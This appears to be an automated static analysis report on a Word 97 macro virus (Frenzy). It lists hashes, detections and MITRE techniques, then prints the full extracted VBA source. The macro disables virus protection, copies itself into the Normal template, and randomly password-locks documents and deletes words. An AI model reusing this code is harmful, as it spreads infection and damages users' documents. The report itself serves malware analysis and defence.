Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9df20e543ceee46d…

MALICIOUS

Office (OLE)

28.5 KB Created: 1997-04-10 00:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f38934dae1f3b09c37068e4051993f33 SHA-1: 751ef75298c37432a31341ed0e47e0bf865551ed SHA-256: 9df20e543ceee46df7f36c3ea08562d6c685444857a4a8bddaea5a1c1c7b90a4
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro named 'Frenzy' with an 'AutoOpen' subroutine. This macro attempts to copy itself to the user's Normal.dot template, a common technique for macro-based malware to achieve persistence and spread. The embedded text and ClamAV detection further confirm its malicious nature as a macro virus.

Heuristics 4

  • ClamAV: Doc.Trojan.Frenzy-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Frenzy-7
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1835 bytes
SHA-256: 45f9e48c9c451dd4ad1c5f0b5541d8a0ed7c870e3030d0fa5fee96e7b1bb369e
Detection
ClamAV: Doc.Trojan.Frenzy-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Frenzy"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Frenzy!"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.Frenzy.AutoOpen"
On Error Resume Next

    Options.VirusProtection = False

    If MacroContainer = NormalTemplate.Name Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Frenzy", Object:=wdOrganizerObjectProjectItems
        If ActiveDocument.SaveFormat = wdFormatDocument Then
            ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
        End If
    Else
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Frenzy", Object:=wdOrganizerObjectProjectItems
        If NormalTemplate.Saved = False Then
            NormalTemplate.Save
        End If
    End If

    If Day(Now()) = Int(Rnd() * 31 + 1) Then

        Assistant.Visible = True

        With Assistant.NewBalloon
            .Animation = msoAnimationGetAttentionMajor
            .Heading = "Attention:"
            .Text = "Word97.Frenzy by Pyro [VBB]"
            .Icon = msoIconAlert
            .Show
        End With

    End If


    If Minute(Now()) = Int(Rnd() * 60) Then

        If ActiveDocument.HasPassword = False Then
            ActiveDocument.Password = "Frenzy"
        End If

    End If


    If ActiveDocument.Words.Count > 25 Then

        Char = Int(Rnd() * ActiveDocument.Words.Count)
        ActiveDocument.Words(Char).Delete

    End If

End Sub